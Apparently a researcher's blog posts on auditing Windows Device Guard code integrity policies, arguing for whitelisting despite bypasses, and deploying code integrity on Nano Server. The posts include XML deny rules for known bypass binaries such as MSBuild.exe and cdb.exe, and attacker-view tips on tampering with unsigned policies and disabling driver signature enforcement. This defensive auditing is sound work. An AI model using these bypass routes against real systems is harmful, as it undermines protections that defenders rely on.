      <CertRootType="TBS" Value="F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E" />

      <CertPublisherValue="Microsoft Corporation"/>

      <FileAttribRefRuleID="ID_FILEATTRIB_F_4_0_0_1_0_0" />

      <FileAttribRefRuleID="ID_FILEATTRIB_F_5_0_0_1_0_0" />

    </Signer>

    <SignerID="ID_SIGNER_F_4_0_0_1_0_0"Name="Microsoft Windows Production PCA 2011">

      <CertRootType="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

      <CertPublisherValue="Microsoft Windows"/>

      <FileAttribRefRuleID="ID_FILEATTRIB_F_4_0_0_1_0_0" />

    </Signer>

  </Signers>

  <!--Driver Signing Scenarios-->

  <SigningScenarios>

    <SigningScenarioValue="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1" FriendlyName="Kernel-mode rules">

      <ProductSigners>

        <AllowedSigners>

          <AllowedSignerSignerId="ID_SIGNER_S_1_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_AE_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_AF_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_17C_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_18D_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_2E0_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_34C_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_34F_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_37B_0_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_485_0_0_0_0_0_0_0" />

        </AllowedSigners>

      </ProductSigners>

    </SigningScenario>

    <SigningScenarioValue="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="User-mode rules">

      <ProductSigners>

        <AllowedSigners>

          <AllowedSignerSignerId="ID_SIGNER_S_1_1_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_1_1_0"/>

          <AllowedSignerSignerId="ID_SIGNER_S_2_1_0"/>

          <AllowedSignerSignerId="ID_SIGNER_S_4_1_0_0_0"/>

          <AllowedSignerSignerId="ID_SIGNER_S_19_1_0"/>

          <AllowedSignerSignerId="ID_SIGNER_S_20_1_0"/>

          <AllowedSignerSignerId="ID_SIGNER_S_4E_1_0"/>

          <AllowedSignerSignerId="ID_SIGNER_S_65_1_0"/>

          <AllowedSignerSignerId="ID_SIGNER_S_35C_1_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_35F_1_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_1EA5_1_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_2316_1_0_0_0_0_0_0" />

          <AllowedSignerSignerId="ID_SIGNER_S_3D8C_1_0_0_0_0_0_0" />

        </AllowedSigners>

        <DeniedSigners>

          <DeniedSignerSignerId="ID_SIGNER_F_1_0_0_1_0_0"/>

          <DeniedSignerSignerId="ID_SIGNER_F_2_0_0_1_0_0"/>

          <DeniedSignerSignerId="ID_SIGNER_F_3_0_0_1_0_0"/>

          <DeniedSignerSignerId="ID_SIGNER_F_4_0_0_1_0_0"/>

        </DeniedSigners>

      </ProductSigners>

    </SigningScenario>

  </SigningScenarios>

  <UpdatePolicySigners>

    <UpdatePolicySignerSignerId="ID_SIGNER_S_5_1_0_0_0"/>

  </UpdatePolicySigners>

  <CiSigners>

    <CiSignerSignerId="ID_SIGNER_F_1_0_0_1_0_0"/>

    <CiSignerSignerId="ID_SIGNER_F_2_0_0_1_0_0"/>

    <CiSignerSignerId="ID_SIGNER_F_3_0_0_1_0_0"/>

    <CiSignerSignerId="ID_SIGNER_F_4_0_0_1_0_0"/>

    <CiSignerSignerId="ID_SIGNER_S_1_1_0"/>

    <CiSignerSignerId="ID_SIGNER_S_1_1_0_0_0_0_0_0" />

    <CiSignerSignerId="ID_SIGNER_S_2_1_0"/>

    <CiSignerSignerId="ID_SIGNER_S_4_1_0_0_0"/>

    <CiSignerSignerId="ID_SIGNER_S_19_1_0"/>

    <CiSignerSignerId="ID_SIGNER_S_20_1_0"/>

    <CiSignerSignerId="ID_SIGNER_S_4E_1_0"/>

    <CiSignerSignerId="ID_SIGNER_S_65_1_0"/>

    <CiSignerSignerId="ID_SIGNER_S_35C_1_0_0_0_0_0_0" />

    <CiSignerSignerId="ID_SIGNER_S_35F_1_0_0_0_0_0_0" />

    <CiSignerSignerId="ID_SIGNER_S_1EA5_1_0_0_0_0_0_0" />

    <CiSignerSignerId="ID_SIGNER_S_2316_1_0_0_0_0_0_0" />

    <CiSignerSignerId="ID_SIGNER_S_3D8C_1_0_0_0_0_0_0" />

  </CiSigners>

  <HvciOptions>1</HvciOptions>

</SiPolicy>


A code integrity policy is only as good as the way in which it was configured. The only way to verify its effectiveness is with a thorough understanding of the policy schema and the intended deployment scenario of the policy all through the lens of an attacker. The analysis that I present, while subjective, will be thorough and well thought out based on the information I've learned about code integrity policy enforcement. The extent of my knowledge is driven by my experience with Device Guard thus far, Microsoft's public documentation, the talks I've had with the Device Guard team, and what I've reversed engineered.

Hopefully, you'll have the luxury of being able to analyze an orignal CI policy containing all comments and attributes. In some situations, you may not be so lucky and may be forced to obtain an XML policy from a deployed binary policy - SIPolicy.p7b. Comments and some attribtues are stripped from binary policies. CI policy XML can be recovered with ConvertTo-CiPolicy.

Alright. Let's dive into the analysis now. When I audit a code integrity policy, I will start in the following order:
  1. Policy rule analysis
  2. SigningScenario analysis. Signing scenario rules are ultimately generated based on a combination of one or more file rule levels.
  3. UpdatePolicySigner analysis
  4. HvciOptions analysis

Policy Rule Analysis
Policy rules dictate the overall configuration of Device Guard. What will follow is a description of each rule and its implications.

1) Required:Enforce Store Applications

Description: The presence of this setting indicates that code integrity will also be applied to Windows Store/UWP apps.

Implications: It is unlikely that the absence of this rule would lead to a code integrity bypass scenario but in the off-chance an attacker attempted to deploy an unsigned UWP application, Device Guard would prevent it from loading. The actual implementation of this rule is unclear to me and warrants research. For example, if you launch modern calc (Calculator.exe), it is not actually signed. There’s obviously some other layer of enforcement occurring that I don’t currently comprehend.

Note: This rule option is not actually officially documented but it is accessible the Set-RuleOption cmdlet.

2) Enabled:UMCI

Description: The presence of this setting indicates that user mode code integrity is to be enforced. This means that all user-mode code (exe, dll, msi, js, vbs, PowerShell) is subject to enforcement. Compiled binaries (e.g. exe, dll, msi) not conformant to policy will outright fail to load. WSH scripts (JS and VBScript) not conformant to policy will be prevented from instantiating COM objects, and PowerShell scripts/modules not conformant to policy will be placed into Constrained Language mode. The absence of this rule implies that the code integrity policy will only apply to drivers.

Implications: Attackers will need to come armed with UMCI bpasses to circumvent this protection. Myself, along with Casey Smith (@subtee) and Matt Nelson (@enigma0x3) have been doing a lot of research lately in developing UMCI bypasses. To date, we’ve discussed some of these bypasses publicly. As of this writing, we also have several open cases with MSRC addressing many more UMCI issues. Our research has focused on discovering trusted binaries that allow us to execute unsigned code, Device Guard implementation flaws, and PowerShell Constrained Language mode bypasses. We hope to see fixes implemented for all the issues we reported.

Attackers seeking to circumvent Device Guard should be aware of UMCI bypasses as this is often the easiest way to circumvent a Device Guard deployment.

3) Required:WHQL

Description: All drivers must be WHQL signed as indicated by a "Windows Hardware Driver Verification" EKU (1.3.6.1.4.1.311.10.3.5) in their certificate.

Implications: This setting raises the bar for trust and integrity of the drivers that are allowed to load.

4) Disabled:Flight Signing

Description: Flight signed code will be prevented from loading. This should only affect the loading of Windows Insider Preview code.

Implications: It is recommended that this setting be enabled. This will preclude you from running Insider Preview builds, however. Flight signed code does not go through the rigorous testing that code for a general availability release would go through (I say so speculatively).

5) Enabled:Unsigned System Integrity Policy

Description: This setting indicates that Device Guard does not require that the code integrity policy be signed. Code Integrity policy signing is a very effective mitigation against CI policy tampering as it makes it so that only code signing certificates included in the UpdatePolicySigners section are authorized to make CI policy changes.

Implications: An attacker would need to steal one of the approved code signing certificates to make changes therefore, it is critical that that these code signing certificates be well protected. It should go without saying that the certificate used to sign a policy not be present on a system where the code integrity policy is deployed. More generally, no code signing certificates should be present on any Device Guard protected system that are whitelisted per policy.

6) Enabled:Advanced Boot Options Menu

Description: By default, with a code integrity policy deployed, the advanced boot options menu is disabled. The presence of this rule indicates that a user with physical access can access the menu.

Implications: An attacker with physical access will have the ability to remove deployed code integrity policies. If this is a realistic threat for you, then it is critical that BitLocker be deployed and a UEFI password be set. Additionally, since the “Enabled:Unsigned System Integrity Policy” option is set, an attacker could simply replace the existing, deployed code integrity policy with that of their own which permits their their code to execute.

Analysis/recommendations: Policy Rules


After thorough testing had been performed, it would be recommended to
  1. Remove "Enabled:Unsigned System Integrity Policy" and to sign the policy. This is an extremely effective way to prevent policy tampering.
  2. Remove "Enabled:Advanced Boot Options Menu". This is an effective mitigation against certain physical attacks.
  3. If possible, enable "Required:EV Signers". This is likely not possible however since it is likely that all required drivers will not be EV signed.

SigningScenario analysis

At this point, we’re interested in identifying what is whitelisted and what is blacklisted. The most efficient place to start is by analyzing the SigningScenarios section and working our way backwards.

There will only ever be at most two SigningScenarios:

  • ID_SIGNINGSCENARIO_DRIVERS_1 - these rules only apply to drivers
  • ID_SIGNINGSCENARIO_WINDOWS - these rules only apply to user mode code

ID_SIGNINGSCENARIO_DRIVERS_1


The following driver signers are whitelisted:

- ID_SIGNER_S_1_0_0_0_0_0_0_0
  Name: Microsoft Windows Production PCA 2011
  TBS: 4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146
- ID_SIGNER_S_AE_0_0_0_0_0_0_0
  Name: Intel External Basic Policy CA
  TBS: 53B052BA209C525233293274854B264BC0F68B73
- ID_SIGNER_S_AF_0_0_0_0_0_0_0
  Name: Microsoft Windows Third Party Component CA 2012
  TBS: CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46
- ID_SIGNER_S_17C_0_0_0_0_0_0_0
  Name: COMODO RSA Certification Authority
  TBS: 7CE102D63C57CB48F80A65D1A5E9B350A7A618482AA5A36775323CA933DDFCB00DEF83796A6340DEC5EBF7596CFD8E5D
- ID_SIGNER_S_18D_0_0_0_0_0_0_0
  Name: Microsoft Code Signing PCA 2010
  TBS: 121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195
- ID_SIGNER_S_2E0_0_0_0_0_0_0_0
  Name: VeriSign Class 3 Code Signing 2010 CA
  TBS: 4843A82ED3B1F2BFBEE9671960E1940C942F688D
- ID_SIGNER_S_34C_0_0_0_0_0_0_0
  Name: Microsoft Code Signing PCA
  TBS: 27543A3F7612DE2261C7228321722402F63A07DE
- ID_SIGNER_S_34F_0_0_0_0_0_0_0
  Name: Microsoft Code Signing PCA 2011
  TBS: F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E
- ID_SIGNER_S_37B_0_0_0_0_0_0_0
  Name: Microsoft Root Certificate Authority
  TBS: 391BE92883D52509155BFEAE27B9BD340170B76B
- ID_SIGNER_S_485_0_0_0_0_0_0_0
  Name: Microsoft Windows Verification PCA
  TBS: 265E5C02BDC19AA5394C2C3041FC2BD59774F918

TBS description:

The "Name" attribute is derived from the CN of the certificate. Ultimately, Device Guard doesn't validate the CN. In fact, the "Name" attribute is not present in a binary CI policy (i.e. SIPolicy.p7b). Rather, it validates the TBS (ToBeSigned) hash which is basically a hash of the certificate as dictated by the signature algorithm in the certificate (MD5, SHA1, SHA256, SHA384, SHA512). You can infer the hash algorithm used based on the length of the hash. If you're interested to learn how the hash is calculated, I recommend you load Microsoft.Config.CI.Commands.dll in a decompiler and inspect the Microsoft.SecureBoot.UserConfig.Helper.CalculateTBS method.

Signer hashing algorithms used:

SHA1:
 * Intel External Basic Policy CA
 * VeriSign Class 3 Code Signing 2010 CA
 * Microsoft Code Signing PCA
 * Microsoft Root Certificate Authority
 * Microsoft Windows Verification PCA

Note: Microsoft advises against using a SHA1 signature algorithm and is phasing the algorithm out for certificates. See https://aka.ms/sha1. It is likely within the realm of possibility that a non-state actor could generate a certificate with a SHA1 hash collision.

SHA256:
 * Microsoft Windows Production PCA 2011
 * Microsoft Windows Third Party Component CA 2012
 * Microsoft Code Signing PCA 2010
 * Microsoft Code Signing PCA 2011

SHA384:
 * COMODO RSA Certification Authority

Analysis/recommendations: Driver rules


Overall, I would say the the driver rules may be overly permissive. First of all, any driver signed with any of those certificates would be permitted to be loaded.  For example, I would imagine that most, if not all Intel drivers are signed with the same certificate. So, if there was a driver in particular that was vulnerable that had no business on your system, it could be loaded and exploited to gain unsigned kernel code execution. My recommendation for third party driver certificates is that you whitelist each individual required third party driver using the FilePublisher or preferably the WHQLFilePublisher (if the driver happens to be WHQL signed) file rule level. An added benefit of the FilePublisher rule is that the whitelisted driver will only load if the file version is equal or greater than what is specified. This means that if there is an older, known vulnerable version of the driver you need, the old version will not be authorized to load.

Another potential issue that I could speculatively anticipate is with the "Microsoft Windows Third Party Component CA 2012" certificate. My understanding is that this certificate is used for Microsoft to co-sign 3rd party software. Because this certificate seems to be used so heavily by 3rd party vendors, it potentially opens the door to permit a large amount vulnerable software. To mitigate this, you can use the WHQLPublisher or WHQLFilePublisher rule level when creating a code integrity policy. When those options are selected, if an OEM vendor name is associated with a drivers, a CertOemId attribute will be applied to signers. For example, you could use this feature to whitelist only Apple drivers that are cosigned with the "Microsoft Windows Third Party Component CA 2012" certificate.

ID_SIGNINGSCENARIO_WINDOWS


The following user-mode code signers are whitelisted (based on their presence in AllowedSigners):

- ID_SIGNER_S_1_1_0_0_0_0_0_0
   Name: Microsoft Windows Production PCA 2011
   TBS: 4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146
- ID_SIGNER_S_1_1_0
   Name: Intel External Basic Policy CA
   TBS: 53B052BA209C525233293274854B264BC0F68B73
   CertPublisher: Intel(R) Intel_ICG
- ID_SIGNER_S_2_1_0
   Name: Microsoft Windows Third Party Component CA 2012
   TBS: CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46
- ID_SIGNER_S_4_1_0_0_0
   Name: Matthew Graeber
   TBS: B1554C5EEF15063880BB76B347F2215CDB5BBEFA1A0EBD8D8F216B6B93E8906A
- ID_SIGNER_S_19_1_0
   Name: Intel External Basic Policy CA
   TBS: 53B052BA209C525233293274854B264BC0F68B73
   CertPublisher: Intel(R) pGFX
- ID_SIGNER_S_20_1_0
   Name: iKGF_AZSKGFDCS
   TBS: 32656594870EFFE75251652A99B906EDB92D6BB0
   CertPublisher: IntelVPGSigning2016
- ID_SIGNER_S_4E_1_0
   Name: Microsoft Windows Third Party Component CA 2012
   TBS: CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46
- ID_SIGNER_S_65_1_0
   Name: VeriSign Class 3 Code Signing 2010 CA
   TBS: 4843A82ED3B1F2BFBEE9671960E1940C942F688D
   CertPublisher: Logitech
- ID_SIGNER_S_35C_1_0_0_0_0_0_0
   Name: Microsoft Code Signing PCA
   TBS: 27543A3F7612DE2261C7228321722402F63A07DE
- ID_SIGNER_S_35F_1_0_0_0_0_0_0
   Name: Microsoft Code Signing PCA 2011
   TBS: F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E
- ID_SIGNER_S_1EA5_1_0_0_0_0_0_0
   Name: Microsoft Code Signing PCA 2010
   TBS: 121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195
- ID_SIGNER_S_2316_1_0_0_0_0_0_0
   Name: Microsoft Windows Verification PCA
   TBS: 265E5C02BDC19AA5394C2C3041FC2BD59774F918
- ID_SIGNER_S_3D8C_1_0_0_0_0_0_0
   Name: Microsoft Code Signing PCA
   TBS: 7251ADC0F732CF409EE462E335BB99544F2DD40F

The following user-mode code blacklist rules are present (based on their presence inDeniedSigners):

- ID_SIGNER_F_1_0_0_1_0_0
   Name: Microsoft Code Signing PCA
   TBS: 27543A3F7612DE2261C7228321722402F63A07DE
   CertPublisher: Microsoft Corporation
   Associated files:
     1) OriginalFileName: cdb.exe
        MinimumFileVersion: 99.0.0.0
     2) OriginalFileName: kd.exe
        MinimumFileVersion: 99.0.0.0
     3) OriginalFileName: windbg.exe
        MinimumFileVersion: 99.0.0.0
     4) OriginalFileName: MSBuild.exe
        MinimumFileVersion: 99.0.0.0
- ID_SIGNER_F_2_0_0_1_0_0
   Name: Microsoft Code Signing PCA 2010
   TBS: 121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195
   CertPublisher: Microsoft Corporation
   Associated files:
     1) OriginalFileName: cdb.exe
        MinimumFileVersion: 99.0.0.0
     2) OriginalFileName: kd.exe
        MinimumFileVersion: 99.0.0.0
     3) OriginalFileName: windbg.exe
        MinimumFileVersion: 99.0.0.0
- ID_SIGNER_F_3_0_0_1_0_0
   Name: Microsoft Code Signing PCA 2011
   TBS: F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E
   CertPublisher: Microsoft Corporation
   Associated files:
     1) OriginalFileName: MSBuild.exe
        MinimumFileVersion: 99.0.0.0
     2) OriginalFileName: csi.exe
        MinimumFileVersion: 99.0.0.0
- ID_SIGNER_F_4_0_0_1_0_0
   Name: Microsoft Windows Production PCA 2011
   TBS: 4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146
   CertPublisher: Microsoft Windows
   Associated files:
     1) OriginalFileName: MSBuild.exe
        MinimumFileVersion: 99.0.0.0

Analysis/recommendations: User-mode rules

Whoever created this policy is clearly mindful of and actively blocking known UMCI bypasses. The downside is that there have since been additional bypasses reported publicly - e.g. dnx.exe from Matt Nelson (@enigma0x3). As a defender employing application whitelisting solutions, it is critical to stay up to date on current bypasses. If not, you're potentially one trusted binary/script away from further compromise.

You may have noticed what seems like an arbitrary selection of "99.0.0.0" for the minimum file version. You can interpret this as any of the files with matching block rules that have a version number less than 99.0.0.0 will be blocked. It is fairly reasonable to assume that a binary won't exceed version 99.0.0.0 but I've recently seen several files in the hundreds so I now recommend setting MinimumFileVersion for each FilePublisher block rule to 999.999.999.999. Unfortunately, at the time of writing, you cannot block an executable by only its signature and OriginalFileName. I hope this will change in the future.

As for the whitelisted signers, I wouldn't have a ton to recommend. As an attacker though, I might try to find executables/scripts signed with the "Matthew Graeber" certificate. This sounds like it would be an easy thing to do but Microsoft actually does not provide an official means of associating an executable or script to a CI policy rule. Ideally, Microsoft would provide a Test-CIPolicy cmdlet similar to the Test-AppLockerPolicy cmdlet. I'm in the process of writing one now.

Overall, there are no signers that stick out to me as worthy of additional investigation. Obviously, Microsoft signers will need to be permitted (and in a non-restrictive) fashion if OS updates are to be accepted. It appears as thought there is some required Intel software present on the system. If anything, I might try to determine why the Intel software is required.


UpdatePolicySigners analysis

There is only a single UpdatePolicySigner: "Matthew Graeber". So while the effort was made to permit that code signing certificate to sign the policy, the "Enabled:Unsigned System Integrity Policy" policy rule was still set. So considering the intent to sign the policy was there, I would certainly recommend that the "Enabled:Unsigned System Integrity Policy" rule be removed and to start enforcing signed policies. As an attacker, I would also look for the presence of this code signing certificate on the same system. It should go without saying that a whitelisted code signing certificate should never be present on a Device Guard-enabled system that whitelists that certificate.

HvciOptions analysis

HvciOptions is set to "1" indicating that it is enabled and that the system will benefit from additional kernel exploitation protections. I cannot recommend setting HVCI to strict mode (3) yet as it is almost certain that there will be some drivers that are not compliant for strict mode.

Conclusion

I'll state again that this analysis has been subjective. An effective policy on one system that has a particular purpose likely won't be effective on another piece of hardware with a separate purpose. Getting CI policy configuration "right" is indeed a challenge. It takes experience, knowledge of the CI policy schema, and it requires that you apply an attackers mindset when auditing a policy.

It is worth noting that even despite having an extremely locked down policy, the OS is still at the mercy of UMCI bypasses. For this very reason, Device Guard should be merely a component of a layered defense. It is certainly recommended that anti-malware solutions be installed side by side with Device Guard. For example, in a post-exploitation scenario, Device Guard will do nothing about the exfiltration of sensitive data using a simple batch script or PowerShell script operating in constrained language mode.

I will leave the comments section open to encourage discussion about your thoughts on CI policy assessment and how you think this example policy might have additional vulnerabilities. I feel as though I'm breaking new ground here since there is no other information available regarding Device Guard policy audit methodology so I am certainly open to candid feedback.

On the Effectiveness of Device Guard User Mode Code Integrity

23 November 2016 at 00:19
Is a security feature with known bypasses pointless?

I felt compelled to answer to this question after seeing several tweets recently claiming that Device Guard User Mode Code Integrity (UMCI) is a pointless security mechanism considering all of the recently reported bypasses. Before specifically diving into UMCI and its merits (or lack thereof), let’s use an analogy in the physical world to put things into perspective - a door.

Consider the door at the front of your home or business. This door helps serve as the primary mechanism to prevent intruders from breaking, entering, and stealing your assets. Let's say it's a solid wood door for the sake of the analogy. How might an attacker go about bypassing it?

  • They could pick the lock
  • They could compromise the latch with a shimming device
  • They could chop the door down with an ax
  • They could compromise the door and the hinges with a battering ram

Now, there are certainly better doors out there. You could purchase a blast door and have it be monitored with a 24/7 armed guard. Is that measure realistic? Maybe. It depends on the value of the assets you want to protect. Realistically, it's probably not worth your money since you suspect that a full frontal assault of enemy tanks is not a part of your threat model.

Does a determined attacker ultimately view the door as a means of preventing them from gaining access to your valuable assets? Of course not. Does the attacker even need to bypass the door? Probably not. They could also:

  • Go through the window
  • Break through a wall
  • Hide in the store during business hours and wait for everyone to leave
  • Submit their resume, get a job, develop trust, and slowly, surreptitiously steal your assets

So, will a door prevent breaches in all cases? Absolutely not. Will it prevent or deter an attacker lacking a certain amount of skill from breaking and entering? Sure. Other than preventing the elements from entering your store, does the locked door serve a purpose? Of course. It is a preventative mechanism suitable for the threat model that you choose to accept or mitigate against. The door is a baseline preventative mechanism employed in conjunction with a layered defense consisting of other preventative (reinforced, locked windows) and detective (motion sensors, video cameras, etc.) measures.




Now let's get back to the comfortable world of computers. Is a preventative security technology completely pointless if there are known bypasses? Specifically, let’s focus on Device Guard user mode code integrity (UMCI) as it’s received a fair amount of attention as of late. Considering all of the public bypasses posted, does it still serve a purpose? I won't answer that question using absolutes. Let me make a few proposals and let you, the reader decide. Consider the following:

1) A bypass that applies to Device Guard UMCI is extremely likely to apply to all application whitelisting solutions. I would argue that Device Guard UMCI goes above and beyond other offerings. For example, UMCI places PowerShell (one of the largest user-mode attack surfaces) into constrained language mode, preventing PowerShell from being used to execute arbitrary, unsigned code. Other whitelisting solutions don’t even consider the attack surface posed by PowerShell. Device Guard UMCI also applies code integrity rules to DLLs. There is no way around this. Other solutions allow for DLL whitelisting but not by default.

2) Device Guard UMCI, as with any whitelisting solution, is extremely effective against post-exploitation activities that are not aware of UMCI bypasses. The sheer amount of attacks that app-whitelisting prevents without any fancy machine learning is astonishing. I can say first hand that every piece of “APT” malware I reversed in a previous gig would almost always drop an unsigned binary to disk. Even in the cases where PowerShell was used, .NET methods were used heavily - something that constrained language mode would have outright prevented.

3) The majority of the "misplaced trust" binaries (e.g. MSBuild.exe, cdb.exe, dnx.exe, rcsi.exe, etc.) can be blocked with Device Guard code integrity policy updates. Will there be more bypass binaries? Of course. Again, these binaries will also likely circumvent all app-whitelisting solutions as well. Does it require an active effort to stay on top of all the bypasses as a defender? Yes. Deal with it.

Now, I along with awesome people like Casey Smith (@subtee) and Matt Nelson (@enigma0x3) have reported our share of UMCI bypasses to Microsoft for which there is no code integrity policy mitigation. We have been in the trenches and have seen first hand just how bad some of the bypasses are. We are desperately holding out hope that Microsoft will come through, issue CVEs, and apply fixes for all of the issues we’ve reported. If they do, that will set a precedent and serve as proof that they are taking UMCI seriously. If not, I will start to empathize a bit more with those who claim that Device Guard is pointless. After all, we’re starting to see more attackers “live off the land” and leverage built-in tools to host their malware. Vendors need to be taking that seriously.

Ultimately, Device Guard UMCI is just another security feature that a defender should consider from a cost/benefit analysis based on threats faced and the assets they need to defend. It will always be vulnerable to bypasses, but raises the baseline bar of security. Going back to the analogy above, a door can always be bypassed but you should be able to detect an attacker breaking in and laying their hands on your valuable assets. So obviously, you would want to use additional security solutions along with Device Guard - e.g. Windows Event Forwarding, an anti-malware solution, and to perform periodic compromise/hunt assessments.

What I’m about to say might be scandalous but I sincerely think that application whitelisting should the new norm. You probably won’t encounter any organizations that don’t employ an anti-malware solution despite the innumerable bypasses. These days, anti-malware solutions are assumed to be a security baseline as I think whitelisting should be despite the innumerable bypasses that will surface over time. Personally, I would ask any defender to seriously consider it and I would encourage all defenders to hold whitelisting solution vendors' feet to the fire and hold them accountable when there are bypasses for which there is no obvious mitigation.


I look forward to your comments here or in a lively debate on Twitter!

Code Integrity on Nano Server: Tips/Gotchas

28 November 2016 at 15:57
Although it's not explicitly called out as being supported in Microsoft documentation, it turns out that you can deploy a code integrity policy to Nano Server, enabling enforcement of user and kernel-mode code integrity. It is refreshing to know that code integrity is supported across all modern Windows operating systems now (Win 10 Enterprise, Win 10 IoT, and Server 2016 including Nano Server) despite the fact that Microsoft doesn't make that fact well known. Now, while it is possible to enforce code integrity on Nano Server, you should be aware of some of the caveats which I intend to enumerate in this post.

Code Integrity != Device Guard

Do note that until now, there has been no mention of Device Guard. This was intentional. Nano Server does not support Device Guard - only code integrity (CI), a subset of the supported Device Guard features. So what's the difference you ask?

  • There are no ConfigCI cmdlets. These cmdlets are what allow you to build code integrity policies. I'm not going to try to speculate around the rationale for not including them in Nano Server but I doubt you will ever see them. In order to build a policy, you will need to build it from a system that does have the ConfigCI cmdlets.
  • Because there are no ConfigCI cmdlets, you cannot use the -Audit parameter of Get-SystemDriver and New-CIPolicy to build a policy based on blocked binaries in the Microsoft-Windows-CodeIntegrity/Operational event log. If you want to do this (an extremely realistic scenario), you have to get comfortable pulling out and parsing blocked binary paths yourself using Get-WinEvent. When calling Get-WinEvent, you'll want to do so from an interactive PSSession rather than calling it from Invoke-Command. By default, event log properties don't get serialized and you need to access the properties to pull out file paths.
  • In order to scan files and parse Authenticode and catalog signatures, you will need to either copy the target files from a PSSession (i.e. Copy-Item -FromSession) or mount Nano Server partitions as a file share. You will need to do the same thing with the CatRoot directory - C:\Windows\System32\CatRoot. Fortunately, Get-SystemDriver and New-CIPolicy support explicit paths using the -ScanPath and -PathToCatroot parameters. It may not be obvious, but you have to build your rules off the Nano Server catalog signers, not some other system because your other system is unlikely to contain the hashes of binaries present on Nano Server.
  • There is no Device Guard WMI provider (ROOT\Microsoft\Windows\DeviceGuard). Without this WMI class, it is difficult to audit code integrity enforcement status at scale remotely.
  • There is no Microsoft-Windows-DeviceGuard/Operational event log so there is no log to indicate when a new CI policy was deployed. This event log is useful for alerting a defender to code integrity policy and virtualization-based security (VBS) configuration tampering.
  • Since Nano Server does not have Group Policy, there is no way to configure a centralized CI policy path, VBS settings, or Credential Guard settings. I still need to dig in further to see if any of these features are even supported in Nano Server. For example, I would really want Nano Server to support UEFI CI policy protection.
  • PowerShell is not placed into constrained language mode even with user-mode code integrity (UMCI) enforcement enabled. Despite PowerShell running on .NET Core, you still have a rich reflection API to interface with Win32 - i.e. gain arbitrary unsigned code execution. With PowerShell not in constrained language mode (it's in FullLanguage mode), this means that signature validation won't be enforced on your scripts. I tried turning on constrained language mode by setting the __PSLockdownPolicy system environment variable, but PowerShell Core doesn't seem to acknowledge it. Signature enforcement of scripts/modules in PowerShell is independent of Just Enough Administration (JEA) but you should also definitely consider using JEA in Nano Server to enforce locked down remote session configurations.

Well then what is supported on Nano Server? Not all is lost. You still get the following:

  • The Microsoft-Windows-CodeIntegrity/Operational event log so you can view which binaries were blocked per code policy.
  • You still deploy SIPolicy.p7b to C:\Windows\System32\CodeIntegrity. When SIPolicy.p7b is present in that directory, Nano Server will begin enforcing the rules after a reboot.

Configuration/deployment/debugging tips/tricks

I wanted to share with you the way in which I dealt with some of the headaches involved in configuring, deploying, and debugging issues associated with code integrity on Nano Server.

Event log parsing

Since you don't get the -Audit parameter in the Get-SystemDriver and New-CIPolicy cmdlets, if you choose to base your policy off audit logs, you will need to pull out blocked binary paths yourself. When in audit mode, binaries that would have been blocked generate EID 3076 events. The path of the binary is populated via the second event parameter. The paths need to be normalized and converted to a proper file path from the raw device path. Here is some sample code that I used to obtain the paths of blocked binaries from the event log:

$BlockedBinaries= Get-WinEvent-LogName 'Microsoft-Windows-CodeIntegrity/Operational'-FilterXPath '*[System[EventID=3076]]'| ForEach-Object{

    $UnnormalizedPath = $_.Properties[1].Value.ToLower()


    $NormalizedPath = $UnnormalizedPath


    if ($UnnormalizedPath.StartsWith('\device\harddiskvolume3')) {

        $NormalizedPath = $UnnormalizedPath.Replace('\device\harddiskvolume3', 'C:')

    } elseif ($UnnormalizedPath.StartsWith('system32')) {

        $NormalizedPath = $UnnormalizedPath.Replace('system32', 'C:\windows\system32')

    }


    $NormalizedPath

} | Sort-Object -Unique


Working through boot failures

There were times when the system often wouldn't boot because my kernel-mode rules were too strict when in enforcement mode. For example, when I neglected to add hal.dll to the whitelist, obviously, the OS wouldn't boot. While I worked through these problems, I would boot into the advanced boot options menu (by pressing F8) and disable driver signature enforcement for that session. This was an easy workaround to gain access to the system without having to boot from external WinPE media to redeploy a better, bootable CI policy. Note that the advanced boot menu is only made available to you if the "Enabled:Advanced Boot Options Menu" policy rule option is present in your CI policy. Obviously, disabling driver signature enforcement is a way to completely circumvent kernel-mode code integrity enforcement.

Completed code integrity policy

After going through many of the phases of an initial deny-all approach as described in my previous post on code integrity policy development, this is the relatively locked CI policy that I got to work on my Nano Server bare metal install (Intel NUC):

<?xml version="1.0" encoding="utf-8"?>

<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">

  <VersionEx>1.0.0.0</VersionEx>

